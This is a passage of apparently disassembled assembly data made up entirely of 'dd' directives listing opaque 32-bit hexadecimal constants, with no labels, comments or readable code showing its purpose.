		dd 0A18511C2h, 76580422h, 19580018h, 0ABAA9E7Ah, 0F769008Dh
		dd 5FC1D974h, 981E721Ch, 4240A8A4h, 0EB92DEC8h,	48B40EB0h
		dd 0E40118B1h, 20DDCD5Dh, 0A316C12Eh, 8C0340E2h, 0AA135F46h
		dd 99E4C3C4h, 98743BDAh, 556313BBh, 0A5131Eh, 0DBF2AA8Ch
		dd 36025EF4h, 0CFCB1229h, 184A7CAh, 54F00850h, 98892B5h
		dd 46FF9B37h, 0C8E4F8A0h, 0DE4D4260h, 0BD9100F4h, 0B38C285Ch
		dd 0C588C043h, 0E5B03375h, 0FDD10D05h, 0B043785Fh, 292CE9h
		dd 0C9280249h, 3FADEF97h, 71A4A649h, 0AC300600h, 31EAC26Bh
		dd 2B55131Dh, 603C00DDh, 0B185AD8Ch, 8E900E00h,	9A861BA2h
		dd 63931E6Bh, 0C0525Ah,	0BB2C9F0h, 800EAE8h, 4D960E94h
		dd 308406DCh, 0A6208AF9h, 9000F4B9h, 999BCF58h,	7B0AAE6h
		dd 7C8FB5FEh, 170DC0EBh, 0DA00140Ch, 0E51FFB9Fh, 3D5B5Ah
		dd 8C1B8FF1h, 14287C52h, 4BC98D00h, 0D976EF8Bh,	0F4B10161h
		dd 5A7210D8h, 0FAF2300Fh, 25E9DA00h, 0B745BE30h, 2C573D95h
		dd 6346E880h, 0C5763664h, 9F4D4E0Ah, 59809415h,	13F28AA6h
		dd 0EF0D077Ch, 0F0CE25E8h, 218B10CDh, 0D0E6A800h, 38910BEBh
		dd 0A4C83860h, 0C0FC6D14h, 79A30F00h, 1BD59FEh,	0A0744D00h
		dd 75C1A63Ch, 323501E7h, 0FDF9366Bh, 26842E34h,	92A2FC00h
		dd 450478h, 1756CA2Eh, 0A0A3A541h, 0B7D950Fh, 50D48048h
		dd 58EB81Ch, 57EE0A14h,	0FDDC80FCh, 3000BCACh, 0EF091189h
		dd 35D70D37h, 80904D36h, 0C8C9DFB3h, 7D018494h,	14F513A9h
		dd 9400E42Ch, 78AFBBEDh, 2201EEA0h, 24E57BDDh, 60247D18h
		dd 0E8A95DBCh, 6726635h, 41503D20h, 0ECF09D26h,	24E43F9Dh
		dd 0C3C06A1Dh, 0D2C784A2h, 72B600BAh, 131D4348h, 0A500791Bh
		dd 41199E96h, 4D45AD7h,	0EAED6B88h, 0EB388071h,	12B87AD0h
		dd 9C2D5900h, 0AB6FF64Ah, 0B0FD0077h, 65B91C2Ah, 1201C6B7h
		dd 0AC858752h, 7C28BA16h, 0DC364600h, 0AE4AE968h, 9D00BBF6h
		dd 29440779h, 2EEC6FD1h, 566A842h, 80F85264h, 44A0FB44h
		dd 2B385Ch, 0FD2DD410h,	0A9B83EDh, 42D2B3D1h, 4F5607A4h
		dd 0BEC65003h, 84A86D94h, 9B753501h, 81DF5D0Ah,	988294F8h
		dd 0A00BCAD0h, 1473ABA0h, 89A0007Ah, 0F25C9599h, 0EB075736h
		dd 0F9E5AFDAh, 6DC34CF0h, 7EAD1BCBh, 50F770F1h,	0D02D4B0Ah
		dd 7FCDB90Eh, 7541004Eh, 0EE6C809h, 29C75182h, 2E7CFC60h
		dd 8800A27Bh, 6B98C460h, 0AB3FD510h, 0D64FB8A8h, 54AAA072h
		dd 8CF00578h, 0C0112DE8h, 5CEC40BCh, 0C3C95161h, 8083D1D0h
		dd 0E160A434h, 180298E8h, 63008E77h, 0BAE8D9BBh, 18FA1E3Bh
		dd 317D284Ch, 0A5003C10h, 0E1D89391h, 0E84D2701h, 0FE5D0042h
		dd 0F3745662h, 5C003619h, 328B4F87h, 38647AE2h,	8F85B79Fh
		dd 1997213h, 98DCF098h,	7B3024F9h, 415DF600h, 5C94BA12h
		dd 73A901D0h, 2AEEC76Fh, 68C45007h, 8D1537D6h, 25D84057h
		dd 21380594h, 38C0A0C5h, 0AACE09h, 31E51448h, 0A36DF34Dh
		dd 9E74A20Fh, 0BCF00A9h, 0F23982h, 0B8478F07h, 0DB7749E8h
		dd 7A66C200h, 3FD2C0B9h, 0ED610090h, 1BEF0FECh,	7DE2B4E9h
		dd 0DF04AD75h, 0C5E403B6h, 0BCBEACD3h, 0E181B140h, 0FB002CFAh
		dd 8B6F0E49h, 5C6B95A4h, 8C0E662Bh, 0D67618h, 0E85A78CFh
		dd 9314C17Dh, 0D435F6h,	0AFFDEA5Dh, 136B56FFh, 496964CBh
		dd 0EC8BD058h, 0F631D901h, 0BCA86401h, 1AB23712h, 3D7B4800h
		dd 2C548869h, 8714E330h, 83B3F545h, 4BE08260h, 860E1F35h
		dd 5D0A2EF0h, 2AE25CC5h, 55B05587h, 2CE354C7h, 92544E41h
		dd 0BC68001Ah, 0E7296BDh, 0CD294F09h, 2F1B895Bh, 87C805Ch
		dd 7E61044h, 8F36B2ACh,	55EC9014h, 8E90E4C4h, 37B1A900h
		dd 8E0FA5EFh, 0E298C24Fh, 5880B7E3h, 1FFD59AEh,	1E495100h
		dd 67520958h, 0DDB10066h, 3F7773AAh, 8B1604D8h,	0BB015E61h
		dd 3D8E12E5h, 0B5A720h,	9BA896F7h, 15B4D86Ah, 6E07C2FEh
		dd 550AECAh, 9838BF30h,	0D0AB2E82h, 5D140BFFh, 4C20B70Bh
		dd 28562EF2h, 0E40080FEh, 31575986h, 722DF4F5h,	0AC7A49h
		dd 6C4A84E2h, 465C3816h, 6926100h, 0F26ACBB0h, 3F1700ECh
		dd 2303595Dh, 2F481E07h, 59C0248h, 0A7E65231h, 34049EA8h
		dd 8DE85CA2h, 284D25h, 0B05A4144h, 640484BBh, 3802C112h
		dd 668014A2h, 0C9F961EBh, 0F739220Eh, 580D83D9h, 7C20789Ch
		dd 1CDA00E1h, 390B1DDFh, 7100F1B2h, 8AC7BA5Ah, 0D91278h
		dd 0FD22FF2Ah, 85ED50B6h, 6C7A891Eh, 40B1415Eh,	8C292661h
		dd 89C14280h, 6E037625h, 6C2C4102h, 51BC8AE4h, 0C8C41060h
		dd 5338B06Ah, 70949BECh, 3D0E666h, 0B95A4981h, 18A886EFh
		dd 9B004CF9h, 597F1FACh, 3D27EBEAh, 0DD00BECAh,	60E1A026h
		dd 8D0C207Dh, 793C97ADh, 7B5F0345h, 4F132981h, 0CBBD52C8h
		dd 32584000h, 22C35068h, 0E5620089h, 0B7BB34D3h, 0C1FE8B15h
		dd 7E03B9F4h, 0BF2BC2A4h, 6C8AC8B5h, 0C99A30FFh, 88F4BE30h
		dd 0A8121276h, 9C9476FCh, 0D7B8042Fh, 91F3C403h, 961C2EFh
		dd 0AC7C0D18h, 300069h,	962F548Dh, 48B20814h, 94AE4B88h
		dd 11111428h, 8A62129h
		dd 5C90A9CCh, 48288784h, 0AB3142CAh, 0E214024h,	10FE122Ah
		dd 7489B7FBh, 36440208h, 652284E2h, 119842B1h, 162133F7h
		dd 90BFA308h, 3B4B848Ch, 0B3423A48h, 21B024BAh,	2E120528h
		dd 488550A4h, 8DF45A4h,	0C0425214h, 21C82484h, 46120612h
		dd 24F67F11h, 1E3E40FCh, 0C18084h, 93D256B2h, 3C3F21C5h
		dd 87F9110Bh, 606461C4h, 7900AE4h, 78D36A96h, 2079026Ch
		dd 955858D8h, 89B31CA4h, 249AACBh, 0C0170E24h, 2C310C9h
		dd 6A67657h, 6C5AC87Fh,	193E12Fh, 9D2C16F0h, 13E7C0D4h
		dd 580D08Fh, 0C08259A7h, 0CF7FDB40h, 2E0B000h, 1AFE9FDEh
		dd 1BE213h, 0C2A341EFh,	0E426DC64h, 7360E55Dh, 17BB4500h
		dd 520D83D5h, 0CBD0651h, 10829570h, 910A3E3Bh, 4F01AFAEh
		dd 1BA4C997h, 8D78C85Ah, 0BE081800h, 12834D45h,	1D9A134Ah
		dd 78EE1535h, 0D00F4848h, 0C07D9602h, 8EEFBDD3h, 660086A0h
		dd 162A8C0Eh, 30C9CD06h, 0F9100154h, 0F5052748h, 4D9DEC5Dh
		dd 9C41C185h, 3EBE1272h, 5828EDF1h, 0A1548100h,	15F7C33Ch
		dd 0DEF0C01Fh, 0BA26F480h, 3845011h, 7275B718h,	0EBEFC2DCh
		dd 4FBE7203h, 0DA3AB000h, 3E3C7C42h, 0F868FF14h, 86B5811Fh
		dd 10243FE7h, 5BBFDB00h, 30D266E1h, 9BAF0079h, 0B7EEFA53h
		dd 6B742FE7h, 0C3AA100h, 2A884552h, 0B5143861h,	0AE337B00h
		dd 63954374h, 0FE3C8A00h, 0A16C0B4Ah, 0C4733F6Fh, 0BE96A203h
		dd 0B3C833AAh, 68B878FBh, 5367BF00h, 0C87115D1h, 316200B0h
		dd 0F9E64A6Ah, 51005D33h, 0AEF68A90h, 0F2F013Dh, 0EBB17A47h
		dd 6D80353h, 42F0BC10h,	780064BBh, 0CBD745FCh, 25BF16A9h
		dd 0BC4841A3h, 52FEEE4Ah, 85C4B801h, 531216EAh,	77E5C60h
		dd 0C5BF5BFFh, 7C0541E9h, 1C4820CAh, 0A8A9BCA0h, 0B5EE8200h
		dd 0BF53E21Dh, 0A6F0010Fh, 0B862184Ch, 3B42CD9h, 8DFF895Dh
		dd 3844F0FAh, 98AE8CCh,	85AB4FEBh, 1D390020h, 7D44E024h
		dd 4E5104D6h, 0ED449Ch,	8814FEC7h, 43A425F8h, 209098E1h
		dd 8F25DD88h, 9A6480F6h, 60766AD6h, 45ED116Fh, 8BA03869h
		dd 78035C95h, 3161EC86h, 0AB3780F9h, 35A8A862h,	3C980076h
		dd 7BEDFB93h, 0BA3E58F8h, 0A9610FF3h, 1E91E073h, 1CD2CDB3h
		dd 0C0830CC2h, 1727E874h, 0C11E95B9h, 0AC01FF8h, 0C9D54F72h
		dd 43F90065h, 79F2E730h, 3A0067E1h, 0FFA36286h,	301AA7Bh
		dd 4FDF05B1h, 78B197D8h, 7A21D4FAh, 0CCA580A1h,	5E00EB74h
		dd 9C314EFBh, 7F9FB733h, 0F82C00D1h, 5A82C449h,	0BD00209Eh
		dd 0C51B8D01h, 21865Ch,	88B444D0h, 0C95BF7D4h, 80913F39h
		dd 0CEC3546Fh, 0F894DA9h, 63CA2C4Eh, 0FEFF6B21h, 5296FC28h
		dd 19573600h, 5D5AA79h,	0B7F500C9h, 1B8C9E0Ch, 91005F3Dh
		dd 0DA4BCE2Ch, 52C4E2h,	18A13F50h, 0B82A01A9h, 9326F000h
		dd 5EBFEC79h, 0A5710E3Bh, 12587Fh, 301A2350h, 408065FAh
		dd 58B4CCh, 0B54CA8B4h,	0F9037B67h, 91D3CF46h, 4EAAE0EEh
		dd 2C9E00BAh, 0F574E802h, 0C200465Ah, 2E12F683h, 2EF0B2Fh
		dd 0B52B9975h, 5041D52Ch, 12F141ACh, 828025B8h,	3C3D3958h
		dd 33506176h, 9D11024h,	3579A589h, 0F8091050h, 0A039D8C2h
		dd 5F69BD2Ch, 25D20718h, 0D0F908C3h, 914EE272h,	4B0568B0h
		dd 2F29331h, 0DA76E800h, 6E56ACh, 0FC84A019h, 18746B2Ah
		dd 8127FD00h, 0AB5D39A7h, 6D3101EFh, 0DFFB7BC5h, 2A8D2026h
		dd 40E8C400h, 4EA61F35h, 980200CEh, 179216F1h, 1174084Ah
		dd 6C514900h, 70316B55h, 1FE609F9h, 5200EF12h, 995645Dh
		dd 0C9488061h, 94804BDFh, 668C3D2h, 49EAFAF4h, 0C4DE7400h
		dd 4FE13D75h, 8EAA25FEh, 0F2E56440h, 0F1DCD01h,	34A9AF96h
		dd 3D7460E6h, 1416008Ah, 248F3BCEh, 0C509746Eh,	807FBA1Fh
		dd 68F444C8h, 4AAD2592h, 831954C0h, 0EB463F02h,	56AE976Bh
		dd 0A6F40964h, 438018A2h, 0FDFA59C0h, 58C0304Ah, 83EF85h
		dd 5031ED21h, 0D252094Fh, 617F8F25h, 9EF86354h,	82181302h
		dd 872C5EC3h, 1569DABh,	0E96DCFD6h, 2282CE0h, 0BE3298A8h
		dd 7E58C08Bh, 1B9000A6h, 0AB14110Ah, 54005D59h,	99CFC730h
		dd 576995h, 50C91F24h, 943C108Ah, 0B85C280Fh, 0C14BAA64h
		dd 803B521Fh, 4E71332Ah, 3B62CED0h, 0B080677Eh,	0F9BDE573h
		dd 0D31FA94Dh, 0BAFFBBh, 0E88492C3h, 95ACAD89h,	5CE4A0AEh
		dd 26F22074h, 0CBF8007Ah, 7F49035Fh, 0F41E7C14h, 5A00872Eh
		dd 5837FC69h, 0AD460043h, 193B5615h, 6E1F4985h,	0A240E04Eh
		dd 53B39978h, 0F61D4810h, 0FE5EB602h, 5064C338h, 1C5F211Dh
		dd 8F00E3E4h, 0F4241FCBh, 0A49F16BDh, 205CA1FCh, 0B70F345Ch
		dd 206280E4h, 10D1DDBBh, 0E09E09h, 6E608EE2h, 2413F240h
		dd 94C122B8h, 5820A79Ch, 23F300C8h, 0F3F25B9h, 3402F26Bh
		dd 11702A89h, 844C5EDDh, 0F05A3B59h, 7200DE94h,	8FA5FBC4h
		dd 2C5E4016h, 0FA07692h, 0A0A0EB1Ah, 0D1D6EC10h, 5C980404h
		dd 94C06DBDh, 1763933Fh, 0B5A96Fh, 0F19551CBh, 0A80F3417h
		dd 20BEA724h, 0C488A3C5h, 0AB42006Fh, 4B2AC68Eh, 7D00CBEFh
		dd 318FF4B9h, 622C65h, 7F1B2746h, 9050BE56h, 1A58D8FCh
		dd 0F73301AEh, 64E26F6h, 582F0E0h, 7B21EAE0h, 90A85Ah
		dd 0F27E6CA0h, 2C8D44Bh, 9B8715ACh, 0ECC0A659h,	0CAF84EF1h
		dd 3E1AAE00h, 1408E28Ch, 0E63A0055h, 0B256E362h, 0EB008FCEh
		dd 8B39150Fh, 98D4CCD5h, 914C1260h, 7598F019h, 7CF72304h
		dd 7C90A3A2h, 658B43h, 1C0985DBh, 3BBA31EEh, 0B100F8EAh
		dd 0BDE49BE8h, 806283h,	0DE1B3CEh, 68D6E6D1h, 60D95B00h
		dd 0F0A3DAE7h, 14B50321h, 0C43A7444h, 0F2EE3DA0h, 0BBEB4300h
		dd 2B289503h, 0C96F0B05h, 5040F5B3h, 0B4A36450h, 0EDEA4898h
		dd 6490C04Ah, 0C13EA2h,	10294EF7h, 0CFD1B06Ah, 35004AF6h
		dd 0FD4D84E4h, 7B66C890h, 0F9BB00ECh, 2D3FFBE3h, 0CB269F37h
		dd 3803749Ch, 87D6F81Ah, 3E227900h, 0BD540078h,	5F2896E6h
		dd 3AEA290Bh, 60C42025h, 805514h, 0AF220CA9h, 7D764270h
		dd 0F04A4C98h, 542058D5h, 0CBCF4Dh, 23B727F2h, 9A60FC5Ah
		dd 0E46AA80Fh, 9F5C003Eh, 38B6F488h, 0E2016449h, 5F5B39E5h
		dd 0E4B1D3FDh, 864C304Dh, 12BFB22h, 75EC4096h, 28B77DA1h
		dd 9DC700A0h, 5BD23442h, 16F730CBh, 28409419h, 0C18ECC00h
		dd 0D349ADD8h, 96220EFAh, 3F448FA7h, 328ED0Ch, 736CA65h
		dd 0E9DB932Fh, 0BC4021CDh, 26FD32h, 305B1C0Dh, 0C793F484h
		dd 0B2FE9400h, 34C972Eh, 6D35132Ah, 47C300C9h, 0D89487C8h
		dd 0BCBDB90Eh, 73A3C0F0h, 0E5FBA5h, 8DB7A4FDh, 91750746h
		dd 3B7A6526h, 49012F00h, 39A36CE8h, 48003D8Bh, 0E599D52Dh
		dd 8A181CA7h, 3F306998h, 6B5F00EEh, 0B2F6420Eh,	83006733h
		dd 58BADE99h, 19437C2h,	6110F001h, 30F2DCFBh, 524E4638h
		dd 482C5880h, 83AD002Ah, 515899E5h, 0F07AF13Dh,	0A6285603h
		dd 0C06CCA38h, 0BC615EAh, 967F445Ah, 0F16B5840h, 8977ED38h
		dd 8132AA53h, 0E5D94838h, 3D0BE208h, 200C95CBh,	0CAE48CF8h
		dd 0F9370E66h, 121E44A5h, 0BEC0C05Ah, 0D400EE12h, 0CA9606EFh
		dd 8B11E5h, 59F2F537h, 63FF584Dh, 5E92AA03h, 2BED84h, 10F94E70h
		dd 0C4052D2Ch, 47575300h, 7B32FAFBh, 0EA3E009Eh, 7A364644h
		dd 3B00DF1Bh, 24B674C5h, 0B1BD99h, 6619EFB0h, 2A82312Dh
		dd 0F1682Fh, 0A3707510h, 53CF037h, 5F4F045Dh, 24EE80D2h
		dd 0B000E9Dh
		dd 0D4C55023h, 0A07CFADh, 0E577DF86h, 559A00B8h, 4C965FC7h
		dd 65100C0Fh, 20FA407Eh, 163D3Ch, 0A9CF8EF2h, 0FD98DB4Dh
		dd 7C23253Fh, 9AFC4Ch, 322C6690h, 0F2940FB6h, 44D5006Ch
		dd 29611864h, 6F05B731h, 500E8F25h, 63629C03h, 43E0E837h
		dd 9590072h, 2E6632E6h,	0FF09831Ah, 0F7E523h, 270CF99Ch
		dd 82120F43h, 7FAC22FCh, 0B02C318h, 0E8205BE5h,	0A63C80F2h
		dd 3A15D478h, 3114FE7Ch, 0D51FB806h, 5B9A89F9h,	0C657A480h
		dd 603AB1CAh, 0CC8201A9h, 7F29E3Ch, 0A78058B0h,	1924B170h
		dd 0BF3CC701h, 7B808FD9h, 1F0A07F8h, 4FD35D1h, 0B7005438h
		dd 0B6851D34h, 280F09FEh, 0C04B63ACh, 0A4643DB5h, 7BFB9071h
		dd 4D99B899h, 2424C886h, 11253958h, 41951C00h, 76626BB7h
		dd 86D00411h, 9112684h,	0A81142EBh, 6EB8E900h, 1F3B70E4h
		dd 0FC180217h, 0DCE94B13h, 0ECD580C8h, 2EEF050Bh, 0AA7B4F00h
		dd 0AF603682h, 0E159029Fh, 6C756B29h, 44EC7048h, 0D4EAF21Ch
		dd 0EDBB1030h, 84AE0E8Ch, 43BE05E4h, 0DE429598h, 0D441DDE2h
		dd 0CC0AD993h, 0B12CD3CFh, 3500C07Ch, 0DD3928E1h, 827B0B7Fh
		dd 0AE802AB2h, 54058612h, 0E1766D27h, 8C389A10h, 40DAD400h
		dd 53FC7FA1h, 0B03CF0F2h, 1EA689FEh, 455C8014h,	3039F7Ch
		dd 0E554AEC4h, 47F8E94Dh, 0E0F53D57h, 2005E3Ah,	0E331B64Ch
		dd 1845475h, 7632C8ACh,	8017536Ah, 85A9F1D0h, 0BCAEE2h
		dd 71262705h, 68095E04h, 0C39D4407h, 0A03E89ADh, 11A23A90h
		dd 0D2EB2EF0h, 585004Bh, 1FD18F06h, 26BE6E00h, 32E86B18h
		dd 7FBF00D6h, 3130343Ch, 0AA008161h, 0CF6E82D3h, 7A050Ch
		dd 0FE98883Bh, 4BFA70BEh, 0B4DC1B00h, 0EBD0EA5Eh, 0C5930009h
		dd 78814E0h, 0C2075BF1h, 0EE6EC73Ch, 0F32380DEh, 0E1C3DFh
		dd 85CBFA94h, 0E2D3B778h, 72FE321Eh, 1C4B5740h,	30C11DEh
		dd 8E194168h, 6AC035FBh, 67E6BDC4h, 49399700h, 7E105613h
		dd 0A59C1F4Dh, 58ACDEBEh, 0A20C69D2h, 0E7408828h, 0DD67C300h
		dd 0E680F482h, 0B273387Fh, 0E0DFFF98h, 2800B4FAh, 0B7BD9F0Ah
		dd 28EEABEh, 0C4988F4Ch, 40600393h, 970038A4h, 0DE040ECBh
		dd 1D738AD1h, 4012E2E0h, 0AC76F434h, 5E007CB5h,	7A6D49C9h
		dd 78B3A24h, 0DD748333h, 797040C5h, 87009FC7h, 2DFFF875h
		dd 24B61E57h, 1A4BEAh, 0B0F92F66h, 0D00C2527h, 7971764Ch
		dd 10300EEh, 0EFA0A17Dh, 4200B1DEh, 0F4AB6A8Ah,	5095245h
		dd 0E8D1E5A9h, 197EC10Ah, 9B1880F7h, 2A49173Fh,	0A1321E73h
		dd 3CE385A3h, 57C0D758h, 0C75B30E4h, 460FE226h,	0E061CB38h
		dd 621910A0h, 6A90073Bh, 0F0072343h, 37393F57h,	861C3400h
		dd 0B9740342h, 0CC7B0067h, 59715A7Ch, 0A13B9897h, 8CCF0091h
		dd 22209E1h, 6DCB002Ch,	47744D52h, 7801202Eh, 0FE725085h
		dd 3BE81D01h, 0B29EE92h, 2C25E582h, 12117040h, 81A3BF00h
		dd 99A1A2FEh, 9B5B24DCh, 0CE9A007Ah, 1C0551A7h,	0C24C1026h
		dd 2131EF00h, 17294A6h,	0DCC36B3Bh, 0E396B208h,	0A2065000h
		dd 17402409h, 0A6B1C39h, 0EF1A802Ch, 939A2A8Dh,	0F1DA4200h
		dd 97958FD9h, 65B04Eh, 57ED4928h, 0E11066AFh, 3CF33200h
		dd 9415F430h, 97AA0E7Ah, 0F7CB8DA9h, 6165803h, 82D87CD0h
		dd 0B1007E7Eh, 8B2F5AF6h, 3BE27B0Ah, 1200A1ACh,	3AD2524Ch
		dd 8C040A5h, 0FB506B91h, 35D30EFEh, 3940FA69h, 4CE4B415h
		dd 11703C00h, 8D9831D5h, 3A3702F9h, 0F1FDC1Ah, 0E44A4C58h
		dd 799984C0h, 301E015Ah, 4C76A536h, 5C097B6Ah, 0FA5868F4h
		dd 0AB902E66h, 0F6CF00BCh, 5E27BB1Bh, 9E64F001h, 32F876A4h
		dd 29350E0h, 4D8AE88Ch,	10D00460h, 0F1535F09h, 4685853Dh
		dd 0FF823080h, 83CA012Fh, 0CF5B4A75h, 0E4EF806h, 0C474772Eh
		dd 7680DA1Dh, 75CC4FD6h, 7EB20002h, 49883032h, 900C929h
		dd 3160D910h, 13AE8292h, 6FE3C94h, 784450D4h, 520F3475h
		dd 2089AF2Eh, 8FF8D6D4h, 74790007h, 0D58C3DA1h,	21009B01h
		dd 0F939B69Eh, 907A8869h, 9628A176h, 409C1F6Ah,	0CB8AFE1Ah
		dd 0D71749ADh, 5C80F994h, 7984F812h, 286202C8h,	900BB23Eh
		dd 7814A8D4h, 2D7D0080h, 216BB33Dh, 5C022C83h, 7F6605FCh
		dd 408E33h, 0D2F3660h, 1BF75Fh,	0D79B31EEh, 0C8FD5255h
		dd 3ED8A804h, 4082FB07h, 3C6C60A7h, 0B9170073h,	0BEF84C7h
		dd 0D062524h, 0F8DA4367h, 7C580028h, 0FC0ECD6Ch, 21E250C5h
		dd 821D4903h, 0F960BF3Dh, 97CCB930h, 40740042h,	659B87AFh
		dd 6800FAA3h, 72C52CF9h, 2C01DDEEh, 0B743247h, 6F8BF7B4h
		dd 4A50F458h, 88EA56BCh, 0ACA234B0h, 79FF8C60h,	0C701A3FAh
		dd 15713ABBh, 117072DCh, 188B016h, 1D215B75h, 30E257A4h
		dd 0A7066F34h, 20B92701h, 0F8A00049h, 776816B6h, 0FB4E3FD6h
		dd 5050EBF8h, 0EC1A01A5h, 4405210Dh, 0F1012058h, 300F949Ah
		dd 0E1291574h, 2A8AE00Ch, 0E300FC38h, 679D593Bh, 814840C1h
		dd 3F6048B8h, 571B2CE6h, 0F1CFA302h, 406CDEBAh,	0BFB07353h
		dd 71BB701h, 5C4EEFB8h,	2EDE7CF8h, 1238F4A8h, 8580512h
		dd 1B0A9CBh, 14D5D1B7h,	0CCC8690Dh, 648200E6h, 18F64C6Ah
		dd 412426BCh, 4A80ACF2h, 1FF7CCD2h, 233902BDh, 3CFE6703h
		dd 307CDCE1h, 3BEF2CD6h, 0A1A0E809h, 0EAEB3798h, 0B0888C74h
		dd 0E5809FBh, 2C27D5CCh, 131F4C9h, 574BC1F8h, 1288840h
		dd 8534076Dh, 30E632A4h, 35617FE4h, 8CAE70Eh, 0C003CA4Bh
		dd 0C0884C2Ah, 92F27B1Bh, 0D05A08FEh, 0DE44D4C0h, 35970B06h
		dd 0D470B3CAh, 340F0476h, 982CF674h, 588BA9B1h,	0C400E86Fh
		dd 8D190920h, 654A9FABh, 6630D802h, 3B805A2Eh, 0B40784ACh
		dd 40E029FAh, 1462F25Ah, 0AED7E100h, 4CB54910h,	33710BEDh
		dd 0EC80F052h, 0C0CC7AD6h, 9405DE00h, 0A6192D38h, 0B7ED0F84h
		dd 0DA2381BBh, 0A980B27Eh, 0EF0083A8h, 45521EB6h, 12F1BA95h
		dd 80547C2Bh, 663DC264h, 80A38F33h, 2073E941h, 0F03C076Eh
		dd 0DC522059h, 0D027446Eh, 0CB4497Dh, 1715030h,	139339A7h
		dd 2ECC5227h, 404CF850h, 0C001894h, 45843C2Ah, 27A7D72Bh
		dd 0E0917Dh, 0C24C6828h, 7860000Ch, 0F9665E8Dh,	83F10345h
		dd 13412709h, 0B159A7F0h, 0CB88B9C0h, 14FA6E5h,	922EFECFh
		dd 64294664h, 78A0EC88h, 7B003349h, 617D412h, 2C9D356Eh
		dd 1544A7D3h, 130DC48Bh, 5C8D103h, 8E64B054h, 2D0DE901h
		dd 554944F0h, 90DA9457h, 8E077417h, 0A450ACB7h,	9C756ECh
		dd 1096CAC5h, 97B92020h, 1300A963h, 346280D0h, 30A671E8h
		dd 1A68923Ah, 772D70Eh,	0B0AEEA30h, 248E084h, 9AF850C4h
		dd 0B4510881h, 5F1CF517h, 0B4C78980h, 77AED068h, 1C109E2h
		dd 98007E18h, 0FA2EBA9Ah, 3BDF7B02h, 2098A941h,	2BF561CEh
		dd 80E6E725h, 7F508474h, 6AC30A3h, 0FCEE2210h, 4CDC4500h
		dd 9657275Eh, 0B5F486h,	0E6D0D804h, 0D9021CB9h,	8937A03Ah
		dd 8052852Ah, 35190CF6h, 90425413h, 7490B5DFh, 760EE64Eh
		dd 1992060h, 30B61618h,	49679050h, 4D0A0228h, 0B7CE9264h
		dd 55024058h, 5040B10Dh, 991DC001h, 54340157h, 76BA641Ah
		dd 6C4309Fh, 2E0CCE58h,	9C9258A6h, 0AD1010A2h, 0F5C1130Bh
		dd 0BCA5110Eh, 1D792487h, 0DFBE6A30h, 0B3B813h,	47FD0729h
		dd 0BFAE34EBh, 5A6CA09Fh, 0FB1F1B8h, 1902237Ch,	0AF80F3CFh
		dd 4B57CAFDh, 3B962903h, 0D08AF027h, 185F12h, 713A486h
		dd 1C3678CFh, 49EBF200h
		dd 0D070E98Dh, 31796Dh,	1DAE2E0Bh, 0FC3734Dh, 68EA9304h
		dd 64C25215h, 0CA0588Eh, 0CA6667BBh, 0D07004E8h, 2906C6E6h
		dd 0A9D6EFF4h, 21DE0072h, 0BD7A7E7Dh, 0D7008540h, 5BE20EA2h
		dd 0F8BFDBC7h, 1AAD01FDh, 628CA41h, 8094406Ah, 0DE0224B0h
		dd 0C920EE9h, 0FD85A37h, 0EAD327B7h, 380A9040h,	4E01541Ah
		dd 180FCC2Ah, 6A2644h, 49559268h, 6D04CF2Bh, 459475A9h
		dd 4B162080h, 0A57100BBh, 95E0AB2Eh, 2DF2445Ch,	6B0F0E00h
		dd 8AA9A08Fh, 4ECF0E6Eh, 0ADA0CD29h, 4608DBE4h,	0B383A00h
		dd 0DA401F26h, 87251EC7h, 88EEFEh, 1158DE82h, 0F10CB372h
		dd 183BD2EBh, 680B0776h, 0C087C294h, 280E2615h,	11098100h
		dd 235C04D7h, 0DD4B0E13h, 1CA0F782h, 0DCC2214h,	924E5492h
		dd 7A15C0D0h, 9F9700A6h, 8751CD26h, 0DF2CC785h,	0A309C4EBh
		dd 0EABCE0FFh, 755D0596h, 806B5E3Fh, 0FA62B2A0h, 0E639D100h
		dd 0D7B6682Eh, 57DCA073h, 42F101BFh, 0D1534FC3h, 386FF0AEh
		dd 0D02874B8h, 0BDE2E750h, 1D05ED70h, 0F8880879h, 0FA0C8490h
		dd 3BFF0066h, 284B11E7h, 3305755Ch, 8DF6970Bh, 0A0747C80h
		dd 91852404h, 0D9E707B4h, 0C0F5843Dh, 3A96A668h, 0F48E1400h
		dd 0EB88BD12h, 73473F0Fh, 0B170F7Ah, 13209C23h,	0D6D986E4h
		dd 0F841B231h, 0AC64431Bh, 7094262Ch, 96604FD0h, 1CE4900Fh
		dd 0A8846301h, 53829E31h, 65FC007Eh, 3F57F994h,	0A3246C00h
		dd 0AB791713h, 264AF0CAh, 1F5029A6h, 4DD1809Dh,	0B6E75A83h
		dd 761CE503h, 0E01DA91Eh, 828ABh, 0AECA43EAh, 0F1F68254h
		dd 250589B8h, 219A3A11h, 9E6BC481h, 4E1AA512h, 229500BCh
		dd 0D2B53E4Fh, 577EC8F6h, 0F741900Eh, 2E442014h, 929E5A9h
		dd 7A9501D0h, 3C749883h, 944D37A8h, 0EE991F00h,	6825C197h
		dd 4C69096Fh, 0DCB88A12h, 0F5121C27h, 0C30FCE45h, 0F115001Fh
		dd 0F61B19DDh, 0DC91C03Ch, 0BB52A294h, 0C7607759h, 42C083E1h
		dd 9A5B62B6h, 0A6D60264h, 0B2B8EC85h, 7CF0FEE2h, 0CA60F016h
		dd 0FA509000h, 2CD9B1E0h, 8BBC1FADh, 5C942765h,	8815FB98h
		dd 0E87716h, 2528C6F7h,	734217Ah, 43B0EEFAh, 895ED517h
		dd 2D00636Ch, 0A2EC48F5h, 0F880600Ch, 312D011Dh, 0C4927D12h
		dd 5C8B4603h, 0C0C2F28Ch, 203B2FCh, 31570726h, 50E2FB50h
		dd 89C35E43h, 0DE7AAEC8h, 78C03F5Fh, 79E11DBDh,	6BC705BEh
		dd 4B0D07C8h, 60933180h, 9FB95001h, 0CF12C87Fh,	227FBD4h
		dd 49E00A25h, 0AF41E61Ah, 21509716h, 94C84480h,	1030ED0Dh
		dd 0A23A01EFh, 0E5F9AE5Fh, 7389E9CBh, 0C2D205F4h, 9280FC36h
		dd 0B1526Bh, 148B884Ch,	0E88FA783h, 7BAFB316h, 0ED81CC00h
		dd 16C35B4h, 910EB808h,	504C49E5h, 0C340F39Ch, 8C954Dh
		dd 588FDAFAh, 48D5E3D2h, 0E170C9Dh, 0E00400D4h,	0A1DBF725h
		dd 0A8E63F03h, 7A618E0Ch, 3D7D09C0h, 0D8009D29h, 0CA7071A1h
		dd 2EC8B2Eh, 192ACE00h,	58F91A80h, 75CF741Eh, 9AC0092h
